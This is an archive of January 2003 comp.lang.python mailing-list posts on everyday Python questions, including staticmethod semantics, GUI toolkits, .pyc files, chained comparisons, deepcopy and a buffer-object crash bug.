> doesn't already exist.

chances are that you need a 'bag' for your new variables.  Your program
can't possibly know in advance the names, anyway, can it? 

try to use a dictionary:

    b = dict(read_items())

where read_items returns a list of name-value tuples. 

and iterate through 'b' like so

    for name in b:
        print name, "=", b[name]
  
If you think you need something else, try to describe
your requirements as precise as possible.
 
regards,

    holger




From peter at engcorp.com  Tue Jan  7 10:52:01 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 10:52:01 -0500
Subject: Creating a list/tuple/dictionary
References: <3e1ae3b4$0$161$65c69314@mercury.nildram.net>
Message-ID: <3E1AF7A1.A5471403@engcorp.com>

Andrew Wilkinson wrote:
> 
> When the Python interpreter comes across a statement such as...
> a = [1,2,3]
> how does it go about creating that list?
> 
> Does it convert the code into something equivalent to
[...]
> or is there a quicker method that it uses, if so is that accessible from
> ordinary python code?

You really don't need to worry about which method is quicker, unless
you are encountering serious performance problems already, in which
case you'd get a *far* bigger performance boost in general by rewriting
some code as a C extension rather than trying to optimize your Python code.

Consider that by choosing Python as your programming language you
have already made readability and maintainability a much higher priority
than performance.  You've chosen to run your program between ten and 100
times slower than the equivalent C, in certain cases.  If you then
start spending time finding alternative approaches to something as clean
and readable as "a = [1, 2, 3]", you are defeating the advantages you
get with your choice, making it pointless to use Python... IMHO.

-Peter



From mgarcia at cole-switches.com  Tue Jan  7 21:38:06 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Wed, 08 Jan 2003 02:38:06 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <063n1vc467bvpuhblk198ciat7rjfroe7h@4ax.com>

On 6 Jan 2003 21:30:24 -0800, judoscript at hotmail.com (James Huang)
wrote:
(edit)
>Have you ever thought about scripting more areas, such
>as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
>script OS commands, all at once? Think about it!

OK, I have thought about it...

If I scripted in SQL, XML, EJB, SGML, HTTP, E-mail, GUI, and OS
commands all at once, I think I would hurt myself. ;-)

I once rubbed my belly while patting my head... does that count?  I
knew a guy who chewed gum and walked at the same time.  He fell down a
stairwell.  A lesson to us all...

Manuel



From paul at boddie.net  Mon Jan 20 06:29:36 2003
From: paul at boddie.net (Paul Boddie)
Date: 20 Jan 2003 03:29:36 -0800
Subject: XML vs Python?
References: <mailman.1042981114.9006.python-list@python.org>
Message-ID: <23891c90.0301200329.44c2d66a@posting.google.com>

Mike Brenner <mikeb at mitre.org> wrote in message news:<mailman.1042981114.9006.python-list at python.org>...
> 			  
> Point 3. A "standard" object model might be better.

[...]

> The same in Python. We are nowhere near a good 
> object model, nor does RDF, SVG, or any of the 
> other complex applications based on XML come 
> close to the level of the model we will shortly 
> be needing.

Well, my point was that various nice tools are available to me if I
use stuff which provides standardised interfaces (dropping the
contentious "object model" terminology). For example, I find XPath
very useful. Unfortunately, without some effort on someone's part (it
could be my own), it looks like I can't use XPath with any of the
non-standard XML toolkits for Python, although I accept that it is
possible to implement XPath on top of various different "backends" -
take a look at Jaxen and how it nicely unifies the standard vs.
non-standard XML API mess on the Java platform.

Personally, I don't necessarily believe that the DOM is that nice, but
if I use DOM features, there's a chance that should I require better
performance, I can swap my XML implementation for a faster one and
retain all the code I've written. Such a near-trivial swap is
impossible if I want to go from one non-standard implementation to
another. Moreover, after such a swap, I can still use the nice tools
written for the DOM (like XPath); life is too short to have to write
XPath implementations for every toolkit you want to try just to
benchmark your application.

Paul



From altis at semi-retired.com  Thu Jan  9 17:09:28 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Thu, 9 Jan 2003 14:09:28 -0800
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <mailman.1042079655.13981.python-list@python.org>
Message-ID: <_pmT9.59$BV6.115633@news.uswest.net>

Despite Tim's enthusiasm for PythonCard, I have to caution you that
PythonCard is still alpha-quality meaning that the API will change. The
framework is not in a state right now where you should plan on building
something and then have it work without any code changes even 3 months from
now, let alone a year or more. The API and the format of key elements such
as the resource file WILL CHANGE; that isn't an if, that is a surety and
there is no attempt at backwards compatability with each release at this
early stage, there will be once we reach a 1.0 release.

While you can download PythonCard today and use the samples and tools and I
encourage you to do so, it is not ready for a big project and anyone using
PythonCard is encouraged to be on the mailing list so they can keep track of
changes. If possible, they should also checkout the package from cvs to get
bug fixes and changes rather than waiting for the releases which only occur
once every couple of months.

Also, the resource file is not presently using XML, but may migrate to using
the wxPython/wxWindows XML resource format in the future, that is just
another item open for debate on the mailing list.

PythonCard is open for developers that want to help define and write code
for the framework and tools.

If you just need a stable API then you can use wxPython directly,
incorporating some elements of PythonCard in your own classes that your
group maintains. I am slowly adding some wrappers and code such as the
function wrappers for wxPython dialogs to the main wxPython distribution and
that code does not rely on PythonCard

ka
---
Kevin Altis
http://radio.weblogs.com/0102677/
http://www.pythoncard.org/

"Tim Churches" <tchur at optushome.com.au> wrote in message
news:mailman.1042079655.13981.python-list at python.org...
On Wed, 2003-01-08 at 15:32, Gerhard H?ring wrote, not entirely
helpfully,:
> Rick Richardson wrote:
> >
> > I'm currently reviewing technologies for a large, gui intensive
application.
> > We're planning on having a template driven dynamic gui system, but
having
> > written Java gui's in the past I'm concerned that python may share
java's
> > affliction and be slower than molassses in January.
> >
> > Can anyone out there comment on the relative speed of Java's gui libs
and
> > any one of the python gui libs?
>
> Sure I can. Try it out.

If you are "planning on having a template driven dynamic gui system"
then you might want to look seriously at PythonCard (see
http://pythoncard.sourceforge.net/ ), which is an XML template driven
dynamic GUI system. PythonCard is built on top of wxPython, which is a
binding for wxWindows, which is a cross-platform wrapper around native
GUI calls. The end result is very fast. On Windows systems, wxPython is
a piece of cake to install (it may require some library updates and
hence a bit more effort on some Linux and unix system, but not too
hard). PythonCard is simplicity itself to install once you have
wxPython.

Others will comment on pyQT and Tkinter, neither of which I have used
much. If it is a big project, it is worth spending time investigating
and testing all these, and comparing them against Java GUIs, before
making a decision. Don't forget to investigate licensing issues, which
is a factor with PyQT on some platforms, I believe.

So ultimately Gerhard's advice is sound.

Tim C







From grey at despair.dmiyu.org  Tue Jan  7 00:24:50 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Tue, 07 Jan 2003 05:24:50 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org> <ouel7ur3pg.fsf@andlx-anamika.cisco.com> <slrnb1amgh.k1t.grey@teleute.dmiyu.org> <3E1A595E.9080402@nospam.free.fr>
Message-ID: <slrnb1kp52.sb9.grey@teleute.dmiyu.org>

On Mon, 06 Jan 2003 23:36:46 -0500, laotseu <bdesth at nospam.free.fr> wrote:
> Please, could you consider Emacs and all the <scripts/programs> written 
> for it as different things ? I personnally use Emacs as a code editor, 
> but dont have any of the newsReader/webBrowser/tetrisOrWhatsoever 
> installed. The fact that someone wrote a newsreader as an emacs 
> extension has nothing to do with the fact that emacs *is* a good editor.

    The fact that they are part of the default distribution belies that
assumption.  If it were an extra that one installed separately it would be a
different matter.  They are considered part of emacs and I will treat it as
the developers treat it.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From meinrad.recheis at aon.at  Fri Jan 17 16:57:05 2003
From: meinrad.recheis at aon.at (meinrad recheis)
Date: Fri, 17 Jan 2003 22:57:05 +0100
Subject: how to use PIL.image with Tkinter.canvas?
References: <b09p16$rem$1@news.tuwien.ac.at>
Message-ID: <b09u6h$7a8$1@news.tuwien.ac.at>

i forgot to ask: does anyone know a link to some code samples using PIL to
display images in Tkinter?


"meinrad recheis" <meinrad.recheis at aon.at> wrote in message
news:b09p16$rem$1 at news.tuwien.ac.at...
> hi
> I want to use the Python Image Library for Image manipulation and i want
to
> build a GUI with
> Tkinter.
>
> is it possible to view a PIL image on a Tkinter canvas?
>
> i am quite new to python, so i need to figure out how to put the parts
> together
>
> thanks for comments,
> Meinrad Recheis
>
>







From list-python at ccraig.org  Wed Jan 29 09:31:01 2003
From: list-python at ccraig.org (Christopher A. Craig)
Date: 29 Jan 2003 09:31:01 -0500
Subject: Generating Unique Keys
In-Reply-To: <3E36F43E.1090803@freemail.hu>
References: <mailman.1043710965.5817.python-list@python.org>
	<7xy956jf5j.fsf@ruckus.brouhaha.com>
	<47e891f1.0301281237.16079102@posting.google.com>
	<7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu>
Message-ID: <t1wvg089gey.fsf@kermit.wreck.org>

Nagy L?szl? <nagylzs at freemail.hu> writes:

> The PRNG algorithm can be explored in almost all cases (especially
> when using /dev/random), and this is a security risk.

Sorry to be off topic, but why especially?  At least on Linux,
/dev/random is determined by various hardware factors chosen for the
difficulty to guess them (i.e. the float between keyboard controller
clock and the CPU clock generator) and then passed through a one way
hash function.  I've read articles on how the entropy could be
reduced, but never anything on how the next number could be guessed
based on previous random numbers, which is certainly possible with
periodic PRNGs.

-- 
Christopher A. Craig <list-python at ccraig.org>
If Perl weren't around, I'd probably be using Python right now.
Tom Christiansen




From peter at engcorp.com  Thu Jan 23 08:42:19 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 23 Jan 2003 08:42:19 -0500
Subject: Sound programming: Tone production in Python?
References: <mailman.1043280699.4791.python-list@python.org> <3E2F5BED.3A690CAF@engcorp.com> <8r94g-b34.ln1@beastie.ix.netcom.com>
Message-ID: <3E2FF13B.2D35CE9C@engcorp.com>

Dennis Lee Bieber wrote:
> 
> Peter Hansen fed this fish to the penguins on Wednesday 22 January 2003
> 07:05 pm:
> 
> > Just a stray question: what do you mean by zero-offset in this
> > context? I've written signal generators that can output arbitrary
> > periodic waveforms including sinewaves in this manner, but I don't
> > recall ever having to worry about anything I would have called the
> > "zero offset".
> >
>         As an bystander, I suspect what this refers to is that...
> 
>         sin() (or cos() ) traditionally returns values from -1.0 to +1.0.
> 
>         If you map that to an 8-bit unsigned integer, then
>                 -1.0    => 0
>                  0.0    => 127
>                 +1.0    => 255

Ah, of course, "DC offset".  I should have guessed that's what he meant...

"Zero offset" was making me think "in the time axis". :-(

Thank you.

-Peter



From imbosol at vt.edu  Mon Jan 27 22:55:38 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 28 Jan 2003 03:55:38 GMT
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net> <3E35F105.27C32244@engcorp.com>
Message-ID: <_anZ9.1126$8p1.805@nwrddc04.gnilink.net>

Peter Hansen wrote:
> Newt wrote:
>> 
>> Silly question:
>> 
>> From a command line, how do I create pyc files? I know I can do it from
>> within IDLE, but I want to use a different editor (for other languages).
> 
> I just started wondering, why do you want to do this?  Do you
> realize that Python automatically creates the pyc files for
> you when you import modules?  It is only in rare cases that
> you actually need to generate a .pyc file "manually".  Maybe
> this is not such a case?  Just wondering...

Maybe he's trying to install a package by hand.  If you just copy the
.py files to a library directory, a user python process couldn't store
the .pyc files, so you compile the .py files before copying.

This happened to me a couple days ago.


-- 
CARL BANKS



From max at alcyone.com  Thu Jan 23 19:16:25 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:16:25 -0800
Subject: staticmethod() problems
References: <QyHX9.42384$F63.906360@news.xtra.co.nz> <3E2F52E5.D3601AD7@alcyone.com> <YMRX9.43233$F63.924790@news.xtra.co.nz>
Message-ID: <3E3085D9.2BEFC3D3@alcyone.com>

Aum wrote:

> Erik Max Francis wrote:
> 
> > The very purpose of staticmethod is to create a method that can be
> > invoked from an instance or a class and won't know the difference,
> > or
> > care.  In some sense, what you're trying to do is at odds with the
> > purpose of classmethod in the first place.
> 
> Don't you mean 'staticmethod'?

Absolutely; that was a brainfart on my part, my apologies.

> One of the purposes of staticmethod, yes.
> 
> But there's a real problem with staticmethod. Within a staticmethod
> function, I can't see any way to access other static attributes of the
> class - methods or attributes - without knowing the class' name.

That's not a "problem," that's really staticmethod's purpose.  C++
(which you reference later) is no different; a C++ static member
function doesn't know anything about the class it's attached to.  It's
just a function which is associated with a class, and can either be
called from a class (C::memberFunction()) or an instance
(c.memberFunction()).

> With this restriction, python's static method implementation falls
> short of
> that of C++ (I won't say j--- because I don't know j---). At least in
> C++,
> you can subclass a class with static methods, and within the subclass,
> the
> inherited methods can access other static attributes within the class,
> without having to explicitly specify the class.

That's true, but Python is not C++, nor is the reverse the case.  C++
has more complex scoping than Python, which is why this is the case.
staticmethods are a case where the intent is to tie a function to a
class such that it is can be called.

If you really do want to access the class that the staticmethod is tied
to, then maybe a classmethod would be more apprporiate (this time my
mention of term is not a brainfart :-).

> Firstly, python excels at empowering the programmer, and removing a
> vast
> number of the restrictions which make other languages a total pain. So
> why
> *shouldn't* there be a way for a static method to know (if it wants
> to) if
> it's been invoked via the class or via an instance? And to determine
> the
> exact class or subclass from which it's been invoked?

The best answer I can give you is that, "Because that's not what
staticmethods were intended to be used for."  If you want the function
to know the class it's associated with, then use a classmethod.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From andrew at indranet.co.nz  Fri Jan 24 04:34:01 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Fri, 24 Jan 2003 22:34:01 +1300
Subject: command line Open Office filter
In-Reply-To: <200301240121.h0O1LGjN025054@ratthing-b246.strakt.com>
References: <200301240121.h0O1LGjN025054@ratthing-b246.strakt.com>
Message-ID: <10920000.1043400841@localhost.localdomain>

--On Friday, January 24, 2003 02:21:16 +0100 Laura Creighton 
<lac at strakt.com> wrote:

> can you send me a URL?  I went to http://www.openoffice.org/
> tried a search or 7, and read a bunch of documents and still
> cannot find it.
>
> Laura Creighton
>
>

Neither can I :-(

I can find the XML-filter one, but that only does a small subset of the 
supported file formats, not including Word.  That's what I was thinking of.

I have a suspicion, based on what I've found so far, that one would have to 
start an openoffice in server mode (which is fortunately pretty small), and 
then use the UNO protocol to cause it to do things.

I can find the OO Basic script which does the conversion, at 
http://ooo.chbs.dk/english/, but no documentation on how to use it.

Unfortunately, the UNO documentation is impenetrable, and the python 
binding for UNO seems to have fallen off the web.

There's also a Nautilus/GNOME integration project at 
http://whiteboard.openoffice.org/bonobo/, which apparently allows inline 
viewing of anything OO understands in Nautilus and Evolution.  It seems to 
be unmaintained.

This seems to be a solved problem on Windows, as they perform the correct 
magic to allow the Windows Script Host to do OO Basic.  But on other OSes, 
we seem to be out of luck so far, at least for something that doesn't 
involve reading several dozen meg of stuff to figure out how to write a 
nearly trivial 20-odd line program (usual Java disease).

Andrew




From grante at visi.com  Sun Jan 19 10:55:18 2003
From: grante at visi.com (Grant Edwards)
Date: 19 Jan 2003 15:55:18 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain> <b0e6cm$oj4ul$1@ID-71831.news.dfncis.de>
Message-ID: <slrnb2lit4.ih7.grante@localhost.localdomain>

In article <b0e6cm$oj4ul$1 at ID-71831.news.dfncis.de>, James Kew wrote:
> Grant Edwards wrote:
>>
>> The "+" operator can mean several things:
>>
>>  integer addition
>>  pointer addition
>>  floating point addition
> 
> Add, add, add. All addition. The details may vary slightly (pointer
> arithmetic, for example) but the basic semantics are the same.

If you think integer addition and FP addition "vary slightly", you've
obviously never had to do FP in SW.

-- 
Grant Edwards                   grante             Yow!  Clear the
                                  at               laundromat!! This
                               visi.com            whirl-o-matic just had a
                                                   nuclear meltdown!!



From hancock at anansispaceworks.com  Fri Jan 10 19:56:39 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Sat, 11 Jan 2003 00:56:39 GMT
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu> <avlunc$15h5$1@agate.berkeley.edu> <mailman.1042189529.2441.python-list@python.org> <just-CBB349.12390610012003@news1.news.xs4all.nl>
Message-ID: <bZJT9.3642$Dq.363773@newsread2.prod.itd.earthlink.net>

Just wrote:
> In article <mailman.1042189529.2441.python-list at python.org>,
>  Lulu of the Lotus-Eaters <mertz at gnosis.cx> wrote:
> 
>> It doesn't come "out of the box" this way, but you could easily create
>> your own directory on the import path that was a link to the actual
>> library path.  And you could name it something like 'std' or '__std__'.
>> Once such a link was added, the OP's prefered import form will work.
> 
> Or you can add a regular dir named "std" somewhere, which contains an
> __init__.py like this:
> 
> __path__ = [<path-to-std-lib>]

Okay -- that should be portable across all platforms, so it's better than 
the symlink.  That's the way to do it -- no PEP needed (unless maybe to 
include this in the standard distribution).. :-D

Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From bokr at oz.net  Tue Jan  7 19:39:22 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 00:39:22 GMT
Subject: Is it really good?
References: <mailman.1041979617.22059.python-list@python.org>
Message-ID: <avfrvq$92m$0@216.39.172.122>

On Tue, 07 Jan 2003 11:12:47 +0200, Nadav Horesh <NadavH at envision.co.il> wrote:

>Can someone explain why python does not raise NameError in the first 
>test line blow.
>I get similar results with Python 2.3a1, wich (obviously) answer False 
>instead of 0.
>
>===============================================================
>Python 2.2.2 (#5, Dec 19 2002, 10:39:16)
>[GCC 3.2.1] on linux2
>Type "copyright", "credits" or "license" for more information.
>IDLE 0.8 -- press F1 for help
>
> >>> 2 == 3 is good
>0     # ????????????????????????
>
> >>> (2 == 3) is good
>Traceback (most recent call last):
>  File "<pyshell#1>", line 1, in ?
>    (2 == 3) is good
>NameError: name 'good' is not defined
> >>> 2 == (3 is good)
>Traceback (most recent call last):
>  File "<pyshell#2>", line 1, in ?
>    2 == (3 is good)
>NameError: name 'good' is not defined
> >>>
>
>===============================================================
[16:38] C:\pywk\clp>ppcomp "2==3 is good"
Module(
  None,
  Stmt(
    [
      Discard(
        Compare(
          Const(
          | 2),
          [
            (
            | '==',
            | Const(
            |   3)),
            (
              'is',
              Name(
                'good'))]))]))

I see what is happening, I think. It is treating 'is' as just
one more compare operator in a chain, and 2==3 short-cuts to false,
so the next thing doesn't get evaluated. E.g.,

 >>> 2==3 is good
 0
 >>> 2<=3 is good
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 NameError: name 'good' is not defined
 >>> 2<=3 is 4 is good
 0
 >>> 2<=3 is 3 is good
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 NameError: name 'good' is not defined

Regards,
Bengt Richter



From marian.foerster at informatik.tu-chemnitz.de  Thu Jan 30 10:13:40 2003
From: marian.foerster at informatik.tu-chemnitz.de (Marian =?ISO-8859-1?Q?F=F6rster?=)
Date: Thu, 30 Jan 2003 16:13:40 +0100
Subject: need sample for file-upload via http with auth
Message-ID: <3E394124.6030105@informatik.tu-chemnitz.de>

need sample for file-upload via http with auth




From mis6 at pitt.edu  Wed Jan  8 15:31:06 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 8 Jan 2003 12:31:06 -0800
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com>
Message-ID: <2259b0e2.0301081231.82a6262@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<avhbmr$7ib$06$1 at news.t-online.com>...
> More relevant is that each for loop introduces a hidden variable. This 
> hidden variable used to be an index into the sequence iterated over, and 
> now is an iterator object which draws the next element from the sequence.

I didn't know it was an iterator. Anyway, it is a smart one, since it
can go in the two senses,

>>> range(10,0,-2)
[10, 8, 6, 4, 2]

Thanks,

               Michele



From peter at engcorp.com  Thu Jan  2 13:31:17 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 13:31:17 -0500
Subject: comments inside blocks
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com> <3E1468BF.94A4DAD6@engcorp.com> <3E146ED1.8010602@draigBrady.com>
Message-ID: <3E148575.FC9FCE77@engcorp.com>

P_spam_ at draigBrady.com wrote:
> 
> Well it also folds if there is any amount of whitespace
> between the block and the comment. I.E.
> 
> for i in range(10):
>      print i
> 
> #comment nothing to do with for
> def fn():
>      print "fn"

Okay, good point.  Remember though, that this is also valid
Python:

for i in range(10):
    print i

# if we make it to the end, do this
else:
    print 'loop completed normally!'

I'm afraid you probably can't get the behaviour you want without a lot
more logic than the program currently has.  It might be doable, but 
not easy...

-Peter



From LogiplexSoftware at earthlink.net  Tue Jan 14 16:02:53 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 13:02:53 -0800
Subject: wxGrid difficulty
In-Reply-To: <b01s6h$kvr$1@newsg4.svr.pol.co.uk>
References: <b01s6h$kvr$1@newsg4.svr.pol.co.uk>
Message-ID: <1042578172.1819.551.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 12:35, mail at trewornan.fsnet.co.uk wrote:
> Using Python version 2.2.2 and wxPython version 2.3.4.2 I'm trying to write
> a basic grid class as a component for a larger system. The grid doesn't seem
> to be appearing as I was expecting I just get a grey square in one corner
> and the rest of the frame blank.
> 
> I've spent hours on this trying different changes in the code and comparing
> it with the code in the wxPython demo but I can't work out what the problem
> is. I don't think I'm going to solve this on my own - anybody see what the
> problem is?
> 
> 
> from wxPython.wx import *
> from wxPython.grid import *
> 
> class Chart(wxGrid):
#     def OnInit(self, parent):
      def __init__(self, parent, id):
>         wxGrid.__init__(self, parent, -1)
>         self.CreateGrid(25,25)
> 
> class MyApp(wxApp):
>     def OnInit(self):
>         frame = wxFrame(NULL, -1, "PMSChart")
>         grid = Chart(frame, -1)
>         frame.Show(true)
>         self.SetTopWindow(frame)
>         return true
> 
> if __name__ == "__main__":
>     app = MyApp()
>     app.MainLoop()

You need an __init__ method in your Chart class (see my modification
above).  OnInit() is used only in wxApp.

BTW, your wxPython questions will be answered quicker on the
wxPython-users mailing list:

http://www.wxpython.org/maillist.php


Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From eppstein at ics.uci.edu  Fri Jan 17 14:30:40 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Fri, 17 Jan 2003 11:30:40 -0800
Subject: buffer overflow
References: <mailman.1042778911.1136.python-list@python.org> <v2ggvghqpt2de8@corp.supernews.com>
Message-ID: <eppstein-7FEE5B.11304017012003@news.service.uci.edu>

In article <v2ggvghqpt2de8 at corp.supernews.com>,
 "Tim H" <tim at frontier.net.nospam> wrote:

> > Chances are high it will die with a segfault before going around the loop
> 20
> > times, because the buffer object created by buffer() can be left pointing
> at
> > freed memory by the array object guts getting reallocated, and then
> list(b)
> > ends up reading God-only-knows-what from the stale buffer object.  Some of
> > the smarest people I know have refused to fix this <wink>.
> >
> >
> 
> Hmmm, a Win2k box got to 14, while Linux got to where I got bored and
> CTRL-C'ed it.  Does this mean Linux can count higher than Windows?

The Mac OS X.2 preloaded command-line python also bored me into ^C'ing 
before any sign of a crash.

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From edream at tds.net  Sat Jan 18 16:59:39 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 18 Jan 2003 21:59:39 GMT
Subject: 2.3 a1 idle.py vs. idle.pyw
Message-ID: <f7kW9.147252$Hs2.12751896@kent.svc.tds.net>

I just downloaded 2.3 a1 using the Windows installer.

FYI:

Running idle.pyw yields:

Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on
win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help

Running idle.py yields:

Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From mwilson at the-wire.com  Mon Jan 13 11:16:06 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Mon, 13 Jan 2003 11:16:06 -0500
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com>
 <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com>
 <87d6n2h5mn.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org>
Message-ID: <GZuI+ks/Kfhc089yn@the-wire.com>

In article <x7ptr2rs1a.fsf at guru.mired.org>, Mike Meyer <mwm at mired.org> wrote:
>Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> writes:
>
>> I wasn't thinking of simplicity implementation-wise. It just seems
>> very awkward to me that it should be necessary to import a module just
>> to be able to copy the value of even a primitive.
>
>If it still bothers you, how about a PEP proposing that object have
>copy and deepcopy methods that DTRT? That way, all new-style classes
>would have a copy and deepcopy methods, so you could invoke them
>without having to import a module.

   It seems to me that TRT for deepcopy is the
application-dependent feature from Hell.

   Say you have a dictionary of lists of class instances.
How does a dictionary deepcopy method distinguish between
list members that are shared-by-accident and those that are
shared-on-purpose?  Same for a list deepcopy method.
There's hope for a class deepcopy method, but even then you
might be requiring class instances to know what the
application was using them for.

   In a complicated case, any standard action will probably
include some amount of The Wrong Thing.  Best I think to let
the application programmer wrap up what needs doing
in a few appropriate custom classes.

   As somebody else said, copy and deepcopy aren't used
every day.  That seems a good argument for keeping them out
of the standard namespaces for the apps that aren't going to
use them.

        Regards.        Mel.



From tundra at tundraware.com  Fri Jan  3 11:30:10 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 03 Jan 2003 16:30:10 GMT
Subject: Win32 Drive List Redux
In-Reply-To: <8a27e309.0301030818.2f40c47@posting.google.com>
References: <ert1va.ruj2.ln@boundary.tundraware.com> <8a27e309.0301030818.2f40c47@posting.google.com>
Message-ID: <2dd4va.5m03.ln@boundary.tundraware.com>

R.Marquez wrote:
> Why not use Py2Exe to convert your app into a stand alone exe.  It
> creates a subfolder containing a PythonXX.dll and all the other files
> needed for your app to run.  Then you could create a nice litle self
> installer with something like Inno Setup
> (http://www.jrsoftware.org/isinfo.htm), and distribute it to your
> heart's content. :)
> 
> -Ruben 

The thought crossed my mind, and I may yet end up going that route,
but that is gonna make one big distribution file.  It sort of bugs
me that I have to distribute 100s of K or even Megs of files to
run a 55K script ... ;)


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From claird at lairds.com  Tue Jan 21 07:46:44 2003
From: claird at lairds.com (Cameron Laird)
Date: Tue, 21 Jan 2003 12:46:44 -0000
Subject: looking for a math package
References: <6ca96053.0301202324.7a741acd@posting.google.com> <b0ivg6$pss56$3@ID-99293.news.dfncis.de>
Message-ID: <v2qg9khrsvief6@corp.supernews.com>

In article <b0ivg6$pss56$3 at ID-99293.news.dfncis.de>,
William Park  <opengeometry at yahoo.ca> wrote:
>Yuval <yuvalfeld at hotmail.com> wrote:
>> Hi, 
>> I'm looking for a package containing some useful math functionality,
>> written in python. In particular, I want to generate a random variable
>> that will be drawn from a power law distribution, and I'm looking for
>> an appropriate package.
>
>None exist.  But, you can write your own, usually line-by-line from C
>source.
>
>-- 
I agree that it's generally straightforward in this domain to
adopt C-coded implementations.  Do you not think that Yuval will
also want to know about SalStat <URL: http://salstat.sunsite.dk/ >
or at least stats.py <URL: http://
www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html >?
I grant I don't know of a probability, as opposed to statistics,
package ...
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From aahz at pythoncraft.com  Fri Jan 17 13:43:38 2003
From: aahz at pythoncraft.com (Aahz)
Date: 17 Jan 2003 13:43:38 -0500
Subject: Finding the calling method (or caller)
References: <df392399.0301141226.1554a055@posting.google.com> <b07kba$miq$1@panix2.panix.com> <mailman.1042767154.29348.python-list@python.org>
Message-ID: <b09isq$h6b$1@panix2.panix.com>

In article <mailman.1042767154.29348.python-list at python.org>,
Chad Netzer  <cnetzer at mail.arc.nasa.gov> wrote:
>On Thursday 16 January 2003 16:56, Aahz wrote:
>>
>> Why do you want to know this?  There's likely to be a better way than
>> using sys._getframe().
>
>I use introspection techniques like this to enforce calling through the 
>"public" api, and not the private.

Why not just use methods with leading underscores?
-- 
